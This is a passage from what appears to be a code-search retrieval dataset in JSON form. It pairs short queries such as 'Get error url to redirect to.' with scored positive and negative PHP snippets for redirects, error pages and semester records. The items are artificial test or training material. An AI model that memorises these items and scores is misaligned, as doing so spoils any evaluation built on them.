$value);\n\n\t\t}\n\n\t\t\n\t\t//add transaction\n\t\tparent::add_payment_general($req);\n\n\t}", "title": "" }, { "docid": "0e81cfaf9c0ff6a551f882fc6791c2bd", "score": "0.57285887", "text": "public function create()\n {\n \n return view('admin.sales.add');\n }", "title": "" } ]
a3ddac801032920f414f810037b72a57
Get error url to redirect to.
[ { "docid": "c0e6153eb554d626934e237c469c1b84", "score": "0.82060504", "text": "protected function getErrorUrl()\n { \n // redirect to the list of locations\n $url = $this->router->generate('musharemodule_location_view');\n }", "title": "" } ]
[ { "docid": "0100983c97918e56c730272d900d76e0", "score": "0.7494519", "text": "public function geterrorRedirectRoute() {\n return $this->errorRedirectRoute;\n }", "title": "" }, { "docid": "6296c201340106321b8eb8b14956853a", "score": "0.7433069", "text": "public function getUrlError() {\n if (isset($_GET['error'])) {\n try {\n $error = $this->importUrlMessage($_GET['error']);\n if (!empty($error)) return $error;\n }\n catch (Exception $e) {\n // Ignore fake error message.\n Log::info('Incorrect error message.', 'Controller', array('error', $_GET['error']));\n }\n }\n return null;\n }", "title": "" }, { "docid": "5ac3eb1b506f3777c8678b16103b2fd7", "score": "0.69063157", "text": "public function getErrorPage()\n {\n return $this->errorPage;\n }", "title": "" }, { "docid": "9ae3b26621031b61bc419d8b13d138fa", "score": "0.68933266", "text": "public function getFailureUrl()\n {\n return $this->getParameter('failureUrl');\n }", "title": "" }, { "docid": "d7f24342d1e4d70ade85d375748cb8aa", "score": "0.6762587", "text": "public function getRedirectUrl();", "title": "" }, { "docid": "3311cd64b62ab8a943d885d2e5deb4ce", "score": "0.6755534", "text": "public function getFailUrl()\n {\n return $this->_failUrl;\n }", "title": "" }, { "docid": "4c3db6f881857587538572eb09ca8603", "score": "0.66643", "text": "public function getRedirectUrl() {\n }", "title": "" }, { "docid": "af80aa572e8b4646edbd1584cb8fa554", "score": "0.6651728", "text": "public function get_error() {\n\t\tif ( ! empty( $this->error ) ) {\n\t\t\treturn $this->error;\n\t\t}\n\t\treturn esc_html__( 'Could not import redirection.', 'rank-math-pro' );\n\t}", "title": "" }, { "docid": "ef1e9f3d2f3535b07109bfb0e2ca2943", "score": "0.65710115", "text": "public function getRedirectUrl()\n {\n // TODO: Implement getRedirectUrl() method.\n }", "title": "" }, { "docid": "fd309cdca9cc40636ed6c5ba061ddf88", "score": "0.65389717", "text": "protected function redirectPathForFailure(): string\n {\n return '/';\n }", "title": "" }, { "docid": "317f6ec568658e6e346e6e8cd6379f8e", "score": "0.6519921", "text": "public function getRedirectUrl(): string\n {\n return $this->data['REDIRECT'] ?? '';\n }", "title": "" }, { "docid": "17f7bac5070884d24240cc13edd2d76d", "score": "0.6491597", "text": "private function getErrorPage() {\n\t\t\treturn defined('ERROR_PAGE') ? ERROR_PAGE : NULL;\n\t\t}", "title": "" }, { "docid": "5bcc7263a24d5fa2385190c3e4a8053d", "score": "0.6486901", "text": "protected function getRedirectUrl() : string\n\t{\n\t\t$redirect_url = $this->app->session->get('admin_referrer');\n\t\tif (!$redirect_url) {\n\t\t\t$redirect_url = $this->request->post('referrer_url', 'url');\n\t\t}\n\n\t\tif ($redirect_url) {\n\t\t\tif (!$this->app->validator->isUrl($redirect_url)) {\n\t\t\t\t$redirect_url = $this->app->admin_index;\n\t\t\t}\n\t\t\tif (!$this->app->uri->isLocal($redirect_url)) {\n\t\t\t\t$redirect_url = $this->app->admin_index;\n\t\t\t}\n\t\t} else {\n\t\t\t$redirect_url = $this->app->admin_index;\n\t\t}\n\n\t\tif ($redirect_url == $this->app->uri->getAdminBlock('login')) {\n\t\t\t$redirect_url = $this->app->admin_index;\n\t\t}\n\n\t\t$this->app->session->set('admin_referrer', '');\n\n\t\t$redirect_url = $this->plugins->filter($this->prefix . 'get_redirect_url', $redirect_url);\n\n\t\treturn $redirect_url;\n\t}", "title": "" }, { "docid": "4d2438d1fb3e1d12de62914164e225b9", "score": "0.6389981", "text": "public function getRedirectUrl()\n {\n return $this->redirect_url;\n }", "title": "" }, { "docid": "1272221c7cfa87b2552563df67d5e637", "score": "0.6348176", "text": "public function getRedirectUrl()\n {\n return $this->redirectUrl;\n }", "title": "" }, { "docid": "1272221c7cfa87b2552563df67d5e637", "score": "0.6348176", "text": "public function getRedirectUrl()\n {\n return $this->redirectUrl;\n }", "title": "" }, { "docid": "afa35bd5acfdefe3719be6063e839037", "score": "0.6256467", "text": "public function getRedirectURL()\n {\n // If the redirect URL has been set then return it.\n if (property_exists($this, 'redirectURL') && $this->redirectURL) {\n return $this->redirectURL;\n }\n\n // Other-wise return the URL of the current page\n throw new ClientException('Invalid redirect URL');\n }", "title": "" }, { "docid": "00a2f918d9067af3e9b74fa833bfc286", "score": "0.6236119", "text": "public function getRedirectURL(): string\n {\n return $this->redirectsTo;\n }", "title": "" }, { "docid": "724c6c9c8dee92cadd630c4f6581f78c", "score": "0.6214386", "text": "public function getRedirectUrl()\n {\n return $this->_redirectUrl;\n }", "title": "" }, { "docid": "4ca72e9d4a763d7f7af0c1ab7336828b", "score": "0.6182468", "text": "public function getRedirectUri()\n {\n return $this->redirect;\n }", "title": "" }, { "docid": "c28b43d56a384314ccc95460dbd2faa3", "score": "0.6173786", "text": "public function getRedirectUrl(){\n return $this->redirectUrl;\n }", "title": "" }, { "docid": "585412bfdef68c42340a8686c0365864", "score": "0.61689687", "text": "public function getRedirectUrl() {\n\t\treturn $this->getFormValue('proceed_image_upload')\n\t\t\t? $this->getUrlOfCurrentPage()\n\t\t\t: parent::getRedirectUrl();\n\t}", "title": "" }, { "docid": "a7b9887467d6828d83943bb8d3ff7734", "score": "0.61603945", "text": "public function getRedirectUrl()\n {\n return $this->urlBuilder->getUrl(self::ROUTER_NAME . '/checkout/success');\n }", "title": "" }, { "docid": "115192cef3591869e909747e6cfa8267", "score": "0.61406434", "text": "public function getAdditionalErrorInfo() {\n if (isset($_SERVER['REQUEST_URI'])) {\n return 'Request URL was ' . $_SERVER['REQUEST_URI'];\n } else {\n return parent::getAdditionalErrorInfo();\n }\n }", "title": "" }, { "docid": "3467e63d5ac7de161611f0bbc3e333a9", "score": "0.61343235", "text": "protected function getRedirectUrlForUnauthorized()\n {\n $domainConfiguration = $this->getDomainConfiguration();\n $redirectUrl = $domainConfiguration['pageNotAuthorized_Url'];\n\n // Prefix with current site url if relative.\n if (substr($redirectUrl, 0, 1) === '/') {\n $redirectUrl = GeneralUtility::getIndpEnv('TYPO3_SITE_URL') . substr($redirectUrl, 1);\n }\n\n // Use '?' or '&' as concat for parameter\n if (strpos($redirectUrl, '?') === false) {\n $redirectUrl .= '?';\n } else {\n $redirectUrl .= '&';\n }\n\n return $redirectUrl . 'redirect_url=' . rawurlencode(GeneralUtility::getIndpEnv('TYPO3_REQUEST_URL'));\n }", "title": "" }, { "docid": "373d606a6126e8c49ab3e59fecf90760", "score": "0.6078298", "text": "public function getFailureUrl()\n {\n return Mage::getUrl( 'smspay/payment/failure' );\n }", "title": "" }, { "docid": "37d9af37502191a7358bd19393e69443", "score": "0.6064542", "text": "function loadErrorHandling($error){\n $redirect = ROOT_PATH . 'errors/view/' . urlencode($error['msg']);\n $_GET['msg'] = $error['msg'];\n header(\"Location: $redirect\");\n}", "title": "" }, { "docid": "5c51c61019b9d5ff30cb0bdb3365481c", "score": "0.60243374", "text": "public function getRedirectUri();", "title": "" }, { "docid": "bd3dda0eda9e3ccad0b743110b8b691e", "score": "0.6010254", "text": "public function getError();", "title": "" }, { "docid": "bd3dda0eda9e3ccad0b743110b8b691e", "score": "0.6010254", "text": "public function getError();", "title": "" }, { "docid": "bd3dda0eda9e3ccad0b743110b8b691e", "score": "0.6010254", "text": "public function getError();", "title": "" }, { "docid": "bd3dda0eda9e3ccad0b743110b8b691e", "score": "0.6010254", "text": "public function getError();", "title": "" }, { "docid": "bd3dda0eda9e3ccad0b743110b8b691e", "score": "0.6010254", "text": "public function getError();", "title": "" }, { "docid": "c1ec56aabeedeabb708fdded3056d0bf", "score": "0.5994694", "text": "public function getError() {}", "title": "" }, { "docid": "c1ec56aabeedeabb708fdded3056d0bf", "score": "0.5994694", "text": "public function getError() {}", "title": "" }, { "docid": "c474b50352047148b1836a3c41867261", "score": "0.5987948", "text": "private function getRedirectURL(string $status): ?string\n {\n $redirect = (string) $this->application->getTag(\"application\")[\"redirect\"];\n $location = $this->exception->getCallback();\n if ($this->exception->getStatus()!=\"redirect\") {\n $location .= \"?status=\".$this->exception->getStatus();\n }\n $uri = new Request();\n if ($redirect) {\n if ($status == \"unauthorized\") {\n $location .= \"&source=\".urlencode($uri->getURI()->getPage());\n } elseif ($status == \"login_ok\" && $uri->parameters(\"source\")) {\n $location = $uri->parameters(\"source\");\n } elseif ($penalty = $this->exception->getTimePenalty()) {\n $location .= \"&wait=\".$penalty;\n }\n return $location;\n } else {\n if (!in_array($status, [\"unauthorized\", \"forbidden\", \"not_found\"])) {\n return $location;\n } else {\n return null;\n }\n }\n }", "title": "" }, { "docid": "8564882747299c156160bf73f9213e27", "score": "0.5975801", "text": "public function redirectInvalidRequest();", "title": "" }, { "docid": "c592736c8937fd57181ac0674cc7154f", "score": "0.5975316", "text": "public function getRedirectUrl()\n {\n return $this->request->getEndpoint();\n }", "title": "" }, { "docid": "cf90edae05ac64d5f5c94450454021b6", "score": "0.5968231", "text": "public function getRedirectUrl()\n {\n return $this->_scopeConfig->getValue('payment/pagseguro/redirect');\n }", "title": "" }, { "docid": "7685120ddaa37adaa47b4a781f90a1dd", "score": "0.59490013", "text": "public function getRedirectUrl() {\r\n // Get the default configurations.\r\n $env_config = YAML::parse(file_get_contents(__DIR__ . \"/../../config/environment.yaml\"));\r\n $datacash_config = YAML::parse(file_get_contents(__DIR__ . \"/../../config/datacash.yaml\"));\r\n $datacash_config = $datacash_config[$env_config['environment']]['parameters'];\r\n return $datacash_config['redirect_url'] . $this->HpsTxn->session_id->getValue();\r\n }", "title": "" }, { "docid": "35f6317b25bf4d7b914444c3d397f898", "score": "0.5909752", "text": "public function getRedirectUrl()\n\t{\n\t\treturn '#';\n\t}", "title": "" }, { "docid": "18aa20504c95419d00e9d0a813236c66", "score": "0.59009033", "text": "public function getRedirect();", "title": "" }, { "docid": "18aa20504c95419d00e9d0a813236c66", "score": "0.59009033", "text": "public function getRedirect();", "title": "" }, { "docid": "84dea2bbe8efb9c6170c39db79297706", "score": "0.58992726", "text": "public function getError()\n {\n return $this->getParam('error', '');\n }", "title": "" }, { "docid": "daeae19daff78cadc15fb8c2947f0ba4", "score": "0.5892442", "text": "public function getRedirectUrl()\n {\n return $this->getEndpoint();\n }", "title": "" }, { "docid": "19d42aac16df475ae09ebdc0f55d5f2b", "score": "0.58798605", "text": "function bbp_get_redirect_to()\n{\n}", "title": "" }, { "docid": "162c8a199bacfc1958efb2068e0de4d6", "score": "0.58504105", "text": "public function getRedirectUrl(): ?string\n {\n return $this->redirectUrl;\n }", "title": "" }, { "docid": "162c8a199bacfc1958efb2068e0de4d6", "score": "0.58504105", "text": "public function getRedirectUrl(): ?string\n {\n return $this->redirectUrl;\n }", "title": "" }, { "docid": "162c8a199bacfc1958efb2068e0de4d6", "score": "0.58504105", "text": "public function getRedirectUrl(): ?string\n {\n return $this->redirectUrl;\n }", "title": "" }, { "docid": "73813c18ef066d23e92569e4f6e38d8c", "score": "0.5832001", "text": "abstract function getOrderPlaceRedirectUrl();", "title": "" }, { "docid": "0c8d3902da3e74720de7e3949a94c663", "score": "0.58281046", "text": "public function getRedirectUrl(): string\n {\n return $this->getEndpoint().'?'.http_build_query([\n 'id' => $this->data['PaymentID'],\n 'lang' => $this->getLanguage(),\n ]);\n }", "title": "" }, { "docid": "8434b97fc15f1c1aad541de775f92568", "score": "0.5821861", "text": "public function get_redirect() {\n\t\treturn $this->redirect;\n\t}", "title": "" }, { "docid": "56d78cc90dc4666f01b958fa4b313ede", "score": "0.5810014", "text": "public function redirectUrl($redirectTo = null) : string;", "title": "" }, { "docid": "dd9b4176e37015ccd21a37c29ecfa462", "score": "0.5798349", "text": "protected function _goBackUrl()\n {\n $url = $this->getRequest()->getParam('return_url');\n if ($url) {\n\n if (!$this->_isUrlInternal($url)) {\n throw new Mage_Exception('External urls redirect to \"' . $url . '\" denied!');\n }\n\n $this->_getSession()->getMessages(true);\n } elseif (!Mage::getStoreConfig('checkout/cart/redirect_to_cart')\n && !$this->getRequest()->getParam('in_cart')\n && $backUrl = $this->_getRefererUrl()\n ) {\n return $backUrl;\n } else {\n if (\n (strtolower($this->getRequest()->getActionName()) == 'add')\n && !$this->getRequest()->getParam('in_cart')\n ) {\n $this->_getSession()->setContinueShoppingUrl($this->_getRefererUrl());\n }\n $url = Mage::helper('checkout/cart')->getCartUrl();\n }\n return $url;\n }", "title": "" }, { "docid": "20575c671afd867bcd5e149b5f9e8601", "score": "0.57854825", "text": "public function redirectPath()\n {\n return $this->redirectTo;\n }", "title": "" }, { "docid": "169041b88054b862c7dd03ed13782ed3", "score": "0.57750833", "text": "public function getRedirectUri()\n {\n return $this->helper->getRedirectUri();\n }", "title": "" }, { "docid": "5ab37852dffd67308f37714ee9ba0be7", "score": "0.5765851", "text": "public function getFallbackPostLoginUrl()\n {\n /** @var \\Concrete\\Core\\Entity\\Site\\Site $site */\n $site = $this->siteService->getSite();\n $home = $site->getSiteHomePageObject();\n\n if ($home && !$home->isError()) {\n $result = (string) $this->resolverManager->resolve([$home]);\n } else {\n $result = (string) $this->resolverManager->resolve(['/']);\n }\n\n return $result;\n }", "title": "" }, { "docid": "a304b3e1fc59bafb37d5e8b27bfcbcfa", "score": "0.576388", "text": "public function getRedirectPath(): string\n {\n return $this->cmdResult->getRedirectPath();\n }", "title": "" }, { "docid": "cf9552d07b4463a8e345f67574088cac", "score": "0.57599604", "text": "public function getRedirectUrl()\n {\n return Mage::getUrl('mpm/api/payment');\n }", "title": "" }, { "docid": "57bc8a6c63b4345de974a00b577bad1d", "score": "0.575933", "text": "public function getRedirect()\n {\n return $this->redirect;\n }", "title": "" }, { "docid": "57bc8a6c63b4345de974a00b577bad1d", "score": "0.575933", "text": "public function getRedirect()\n {\n return $this->redirect;\n }", "title": "" }, { "docid": "57bc8a6c63b4345de974a00b577bad1d", "score": "0.575933", "text": "public function getRedirect()\n {\n return $this->redirect;\n }", "title": "" }, { "docid": "57bc8a6c63b4345de974a00b577bad1d", "score": "0.575933", "text": "public function getRedirect()\n {\n return $this->redirect;\n }", "title": "" }, { "docid": "e1a979135b0bc71a6af9e4139af4855e", "score": "0.5753918", "text": "public function redirectWithError($view, $error)\n {\n return view($view, ['error' => $error]);\n }", "title": "" }, { "docid": "7d1e9ddcf93a0e169e4b04b5be5ddc22", "score": "0.5731408", "text": "function error()\n\t{\n\t\t$this->error = (is_null($this->recent_link)) ? '' : self::$instance->error;\n\t\treturn $this->error;\n\t}", "title": "" }, { "docid": "01416ddcf38fdc313c232096c138b659", "score": "0.5728898", "text": "public function getRedirectUrlDeclined(): ?string\n {\n return $this->redirectUrlDeclined;\n }", "title": "" }, { "docid": "19f6b4c6a99a117b8f8a1e2f284c8c0b", "score": "0.5726563", "text": "function getRedirect() {\r\n\t\treturn $this->redirect;\r\n\t}", "title": "" }, { "docid": "6e247caf1e3911515c379adccd80716a", "score": "0.5726547", "text": "protected function redirectPath()\n {\n return $this->redirectTo;\n }", "title": "" }, { "docid": "e55563d124d89a2d7f9ebef77fe818d8", "score": "0.5720507", "text": "function getError();", "title": "" }, { "docid": "ba0e3dcd0980d4416f099f46e66c2bc0", "score": "0.57171255", "text": "public function getRedirectDestination(){\n\t\treturn ExpresslyHelper::getRedirectDestination($this->db);\n\t}", "title": "" }, { "docid": "913d6727d18d870deae403473ac1468f", "score": "0.5712324", "text": "function error_page($message, $url=NULL)\n{\n if (!isset($url)) {\n $url = get_config('website-url');\n }\n\n $tp = [\n 'title' => 'Error',\n 'text' => $message,\n 'continue_url' => $url,\n ];\n\n normal_page('page-error.latte', $tp);\n exit();\n}", "title": "" }, { "docid": "d7d6fc3d606d992f5860bcc4cf0c8748", "score": "0.5699582", "text": "public function getErrorResource()\r\n\t{\r\n\t\tif ($this->_errorResource == null) {\r\n\t\t\t$sDefaultModule = Zend_Controller_Front::getInstance()->getDispatcher()->getDefaultModule();\r\n\t\t\t$sErrorController = 'error';\r\n\t\t\t\r\n\t\t\t$this->_errorResource = $sDefaultModule . $this->getDefaultSeparator() . $sErrorController;\r\n\t\t}\r\n\t\t\r\n\t\treturn $this->_errorResource;\r\n\t}", "title": "" }, { "docid": "bd97c94db1f26cf9cee4526227e24121", "score": "0.5678726", "text": "public function getError($link = DatabaseInterface::CONNECT_USER);", "title": "" }, { "docid": "e7fd26ef6becdd872166e5b5acf2e4c9", "score": "0.5674455", "text": "public function redirectPath()\n {\n return property_exists($this, 'redirectTo') ? $this->redirectTo : '/';\n }", "title": "" }, { "docid": "b3f569f2b31f9f4a9eb62f5d07b05b7d", "score": "0.5666579", "text": "public function getRedirectTarget()\n {\n }", "title": "" }, { "docid": "4e971dd1a253d72da4ae8d20c89fe101", "score": "0.5662426", "text": "public function getOrderPlaceRedirectUrl()\n {\n return $this->getHelper()->getRedirectUrl('checkout');\n }", "title": "" }, { "docid": "0acc04fdceb073062304f5c08f430780", "score": "0.56251615", "text": "protected function getRedirectDestination() {\n if (!isset($this->redirectDestination)) {\n $this->redirectDestination = \\Drupal::destination();\n }\n\n return $this->redirectDestination;\n }", "title": "" }, { "docid": "a156bee1e73c9ae9dade8936bb56e5dc", "score": "0.5620249", "text": "public function getRedirectUri()\n {\n return $this->redirectUri;\n }", "title": "" }, { "docid": "a156bee1e73c9ae9dade8936bb56e5dc", "score": "0.5620249", "text": "public function getRedirectUri()\n {\n return $this->redirectUri;\n }", "title": "" }, { "docid": "b56473f7e1cfbdab36d53d1deb6862b4", "score": "0.5616336", "text": "public function getRedirect()\n {\n return $this->_redirect;\n }", "title": "" }, { "docid": "c2cad66744b002570ecae4472b5f1806", "score": "0.5611979", "text": "public function getRedirectUri()\n {\n return $this->redirect_uri;\n }", "title": "" }, { "docid": "75ffd2ff8b05556a219eed0d4e44a1b9", "score": "0.56114376", "text": "protected function getRedirectUrl(): string\n {\n return url('/auth/powerschool/oidc');\n }", "title": "" }, { "docid": "1e33eb71c8325547aaa086407b04602e", "score": "0.5609124", "text": "public function getOrderPlaceRedirectUrl()\n {\n if (!$this->redirectPreOrder()) {\n return Mage::getUrl('affirm/payment/redirect', array('_secure' => true));\n }\n }", "title": "" }, { "docid": "590ad3d62093f4a1a4db5a31c24c867c", "score": "0.558328", "text": "public function getUrlCallbackFalha()\n {\n return $this->urlCallbackFalha;\n }", "title": "" }, { "docid": "7638599f994cff3aaeb904259773f4bf", "score": "0.5583031", "text": "public static function getRedirectUri()\n {\n return self::$redirectUri;\n }", "title": "" }, { "docid": "df67b9ee12a8b00ffee1a3c0667f00e4", "score": "0.5549909", "text": "function getRedirectUri() { return $this->redirectUri; }", "title": "" }, { "docid": "ab2b80c722c28aba6514e06b2ff22b9b", "score": "0.5542799", "text": "public function errorAction()\n {\n $error = $this->Request()->getParam('error_handler');\n if (empty($error)) {\n return;\n }\n\n $code = $error->exception->getCode();\n switch ($code) {\n case Enlight_Controller_Exception::Controller_Dispatcher_Controller_Not_Found:\n case Enlight_Controller_Exception::Controller_Dispatcher_Controller_No_Route:\n case Enlight_Controller_Exception::PROPERTY_NOT_FOUND:\n case Enlight_Controller_Exception::ActionNotFound:\n case 404:\n $this->forward('pageNotFoundError');\n break;\n case 400:\n case 401:\n case 413:\n $this->forward('genericError', null, null, ['code' => $code]);\n break;\n default:\n $this->forward('genericError', null, null, ['code' => 503]);\n break;\n }\n }", "title": "" }, { "docid": "715bea79edabc53a2a3c228e62a3f64a", "score": "0.55384636", "text": "private function displayErrorPath($errorcode)\n\t\t{\n\t\t\theader(\"Location: error.php\");\n\t\t}", "title": "" }, { "docid": "5f6ce2d98a18a73967185b0797c136bc", "score": "0.5527575", "text": "public function redirectPath()\n {\n if (property_exists($this, 'redirectPath')) {\n return $this->redirectPath;\n }\n\n return property_exists($this, 'redirectTo') ? $this->redirectTo : '/';\n }", "title": "" }, { "docid": "5f6ce2d98a18a73967185b0797c136bc", "score": "0.5527575", "text": "public function redirectPath()\n {\n if (property_exists($this, 'redirectPath')) {\n return $this->redirectPath;\n }\n\n return property_exists($this, 'redirectTo') ? $this->redirectTo : '/';\n }", "title": "" }, { "docid": "cea77e4d99ad0a00f1385d7207fb7215", "score": "0.55257225", "text": "public function get_call_back_url()\n {\n return $this->call_back_url;\n }", "title": "" }, { "docid": "e268d7ae92aec7811ff4abc23ff16e19", "score": "0.5523648", "text": "function wct_get_redirect_url() {\n\treturn apply_filters( 'wct_get_redirect_url', wct_get_root_url() );\n}", "title": "" }, { "docid": "4576748130ba60d77bc990aadf300df5", "score": "0.5521097", "text": "public function makeRedirectWithError($params = array())\n {\n return $this->makeRedirect($params['redirect_uri'], array(\n 'error' => 'access_denied',\n 'error_description' => $this->authServer->getExceptionMessage('access_denied'),\n 'state' => isset($params['state']) ? $params['state'] : ''\n ));\n }", "title": "" }, { "docid": "309ac9139d18975bffdd0323f8d733fa", "score": "0.5503683", "text": "public function redirectPath()\n {\n if (method_exists($this, 'redirectTo')) {\n return $this->redirectTo();\n }\n\n return property_exists($this, 'redirectTo') ? $this->redirectTo : '/';\n }", "title": "" }, { "docid": "3d4ab6d2a6c0769d86e1e55f963c9385", "score": "0.55034125", "text": "public function redirectPath()\n {\n if (method_exists($this, 'redirectTo')) {\n return $this->redirectTo();\n }\n\n return property_exists($this, 'redirectTo') ? $this->redirectTo : '/home';\n }", "title": "" }, { "docid": "96f6caa6032068bdc7c3476e3ae10551", "score": "0.54950625", "text": "public function getError($template=false)\n\t{\n\t\treturn $this->getNote($template, 'error');\n\t}", "title": "" }, { "docid": "e19d1bb21ec1dc0eadce9cf88369a86f", "score": "0.5477001", "text": "public function getOrderPlaceRedirectUrl()\r\n {\r\n return Mage::getUrl('checkout/onepage/success');\r\n }", "title": "" }, { "docid": "7bc153ef3c958f707b4a5f2597286047", "score": "0.54720986", "text": "function error_callback( $error_msg ) {\n\t$_SESSION['Error_msg'] = $error_msg;\n\theader(\"HTTP/1.1 301 Moved Permanently\");\n header(\"Location: \".$_SERVER['HTTP_REFERER']);\n}", "title": "" }, { "docid": "513df2c86520f37af091f435b9d9c717", "score": "0.5469082", "text": "protected function get_success_url() {\n\t\treturn $this->success_url;\n\t}", "title": "" }, { "docid": "f1f438db5fb41e5dc60cdf5c86f19c15", "score": "0.54684603", "text": "public function getOrderPlaceRedirectUrl()\n {\n return Mage::getUrl('atos/payment_standard/redirect', array('_secure' => true));\n }", "title": "" } ]
af6b87ee7a92d1653b883f4d6c18aa5a
/ Function will get all the semester.
[ { "docid": "0e3bcaf63912d31754f30e2f51201afe", "score": "0.83153003", "text": "public function getAllSemester()\n\t{\n\t\ttry {\n\t\t\t$sql = \"SELECT * FROM semester;\";\n\t\t\t$stmt = $this->connect()->prepare($sql);\n\t\t\t$stmt->execute();\n\t\t\treturn $stmt->fetch();\n\t\t} catch (PDOException $e) {\n\t\t\treturn array(\"e\" => $e->getMessage());\n\t\t}\n\t}", "title": "" } ]
[ { "docid": "2d37242e9abe91b3333fd1f4f231609e", "score": "0.79217935", "text": "public function index()\n {\n return SemesterResource::collection(Semester::all());\n }", "title": "" }, { "docid": "e9388d995c74587855d8edaba713e6f4", "score": "0.7460912", "text": "public function actiongetReportSemester()\n {\n //$data= AcademicTerm::model()->findAll('academic_term_period_id=:academic_term_period_id',\n\t\t// array(':academic_term_period_id'=>(int) $_REQUEST['acdm_period']));\n\t $org_id=Yii::app()->user->getState('org_id');\n\t $data= AcademicTerm::model()->findAll('academic_term_period_id=:academic_term_period_id and academic_term_organization_id = :org_id and current_sem= :current_sem', array(':academic_term_period_id'=>(int) $_REQUEST['acdm_period'],':current_sem'=>1, ':org_id'=>$org_id));\n\n \n $data=CHtml::listData($data,'academic_term_id','academic_term_name');\n\t $sem = array();\n\t $sem = \"<option value=''>Select Semester</option>\";\t\t\n\n foreach($data as $value=>$name)\n {\n $sem .= CHtml::tag('option',\n array('value'=>$value),CHtml::encode(\"Sem-\".$name),true);\n }\n\t\techo $sem;\n }", "title": "" }, { "docid": "6ef231e808fc4a5feb34d8a2c5a8b8c0", "score": "0.715431", "text": "function getSemesterDetails()\n\t{\n\t\t$query = $this->db->get(\"semester\");\n\t\t//print_r($query->result_array());\n\t\treturn $query->result_array();\n\t}", "title": "" }, { "docid": "ba1d677d9c0fd22a15327d212a116162", "score": "0.6864057", "text": "public function semester(Request $request){\n // Check login status\n if(!Session::has('login')){\n return loginExpired(); // Have not logged in, redirect to the login page.\n }\n // 获取数据\n $db_semesters = DB::table('semester')\n ->where('semester_is_available', 1)\n ->orderBy('semester_id', 'asc')\n ->get();\n // 返回列表视图\n return view('/administrator/semester/semester', ['db_semesters' => $db_semesters]);\n }", "title": "" }, { "docid": "72eb34d274229bc2f6ebdd2b426409fa", "score": "0.67892617", "text": "function subject_list_from_course_and_semester($course, $semester) {\n $this->load->model('admin/Crud_model');\n $subjects = $this->Crud_model->subject_list_from_course_and_semester($course, $semester);\n\n echo json_encode($subjects);\n }", "title": "" }, { "docid": "fcc08580d230521756f9a827f0715fa3", "score": "0.6775267", "text": "public function getEducations($semesterId) {\n $educations = $this->db\n ->from('education')\n ->join('group', 'idGroup')\n ->join('teacher','idTeacher')\n ->join('user','idUser')\n ->where('idSemester', $semesterId)\n ->get()\n ->result();\n $out = array();\n foreach ($educations as $education) {\n $out[$education->idEducation] = $education;\n }\n\n return $out;\n }", "title": "" }, { "docid": "13307e6d36a75c46e888f3772b8dd647", "score": "0.6750865", "text": "public function getStudents($semesterId)\n {\n return $this->db\n ->select('idStudent, surname, name, idGroup, groupName')\n ->from('Group')\n ->join('StudentGroup', 'idGroup', 'left')\n ->join('Student', 'idStudent', 'left')\n ->join('User', 'idUser')\n ->where('idSemester', $semesterId)\n ->order_by('groupName', 'ASC')\n ->order_by('name', 'ASC')\n ->get()\n ->result();\n }", "title": "" }, { "docid": "dcb1340eecc23b8c69af31937480b7ad", "score": "0.6726633", "text": "public function index()\n {\n $semesters = semester::latest()->paginate(5);\n \n return response()->json([\n 'success' => true,\n 'message' => 'Berhasil mengambil daftar semester',\n 'data' => $semesters\n ], 200);\n }", "title": "" }, { "docid": "040e8a389df382779fb3591a0a27abe8", "score": "0.66811216", "text": "public function getSemesters($dependency = 'all', $id = null, $paginator = ''){\n global $USER;\n $order_param = orderPaginator($paginator, array('id' => 'se',\n 'semester' => 'se',\n 'description' => 'se', \n 'begin' => 'se', \n 'end' => 'se', \n 'creation_time' => 'se', \n 'institution' => 'ins')); \n $semesters = array();\n switch ($dependency) {\n case 'all': $db = DB::prepare('SELECT SQL_CALC_FOUND_ROWS se.*, us.username, ins.institution\n FROM semester AS se, users AS us, institution AS ins\n WHERE (se.institution_id = ANY (SELECT institution_id FROM institution_enrolments WHERE institution_id = ins.id AND user_id = ?) OR se.institution_id = 0 ) \n AND se.creator_id = us.id AND se.institution_id = ins.id '.$order_param);\n $db->execute(array($USER->id)); //todo: check \n break;\n case 'institution': $db = DB::prepare('SELECT SQL_CALC_FOUND_ROWS se.*, us.username, ins.institution\n FROM semester AS se, users AS us, institution AS ins\n WHERE (se.institution_id = ? OR se.institution_id = 0)\n AND se.creator_id = us.id AND se.institution_id = ins.id '.$order_param);\n $db->execute(array($id));\n break;\n default:\n break;\n }\n \n while($result = $db->fetchObject()) { \n $this->id = $result->id;\n $this->semester = $result->semester;\n $this->description = $result->description;\n $this->institution = $result->institution;\n $this->begin = $result->begin;\n $this->end = $result->end;\n $this->timerange = date('d.m.Y G:i', strtotime($this->begin)) .' - '. date('d.m.Y G:i', strtotime($result->end));\n $this->creation_time = $result->creation_time;\n $this->creator_id = $result->creator_id;\n $this->creator_username = $result->username;\n $semesters[] = clone $this;\n } \n if ($paginator != ''){ \n set_item_total($paginator); //set item total based on FOUND ROWS()\n }\n return $semesters; \n }", "title": "" }, { "docid": "7a765cbfdadd36788185d6c09613df62", "score": "0.6638328", "text": "public function getSemesterSchedules(Semester $semester) {\n $qb = $this->createQueryBuilder('sc')\n ->innerJoin('sc.sessions', 's')\n ->where('s.semester = :semester')\n ->setParameter('semester', $semester);\n\n return $qb->getQuery()->getResult();\n }", "title": "" }, { "docid": "9af5836686aaff4080442c1cf1cc8c52", "score": "0.6614174", "text": "function fetchAllSemesterByNIM($nim)\n {\n $predicate = array(\n ':nim' => $nim,\n );\n $q = \"SELECT * FROM semester_mahasiswa WHERE nim = :nim\";\n return $this->getAll($q, $predicate);\n }", "title": "" }, { "docid": "e5d147778f111fcd6f601e3c96934797", "score": "0.65963477", "text": "public function semesters()\n {\n return $this->belongsToMany(Semester::class);\n }", "title": "" }, { "docid": "ffde785326f287f3f61b8eb03170afd6", "score": "0.65762454", "text": "function getallstudents()\n{\n\t$this->clear();\n\t $qr_u = $this->select('manage_student','*','',\"\",'','');\n $result_u = $this->getResult();\n return $result_u;\n}", "title": "" }, { "docid": "5fe977911ec319e1155da64d7fe22481", "score": "0.65704566", "text": "public function actionIndex()\r\n {\r\n $searchModel = new SemesterSearch();\r\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\r\n $bulan = $this->getBulan();\r\n\r\n return $this->render('index', [\r\n 'searchModel' => $searchModel,\r\n 'dataProvider' => $dataProvider,\r\n 'bulan' => $bulan\r\n ]);\r\n }", "title": "" }, { "docid": "f29ee48e5f5bf8b8656d8e7ef3d5aa79", "score": "0.6510444", "text": "public function index()\n {\n $data = GetData::get_semester();\n return view('mst.semester.index',compact('data'));\n }", "title": "" }, { "docid": "2eb07b11bde9fd689809e3c4a77c6103", "score": 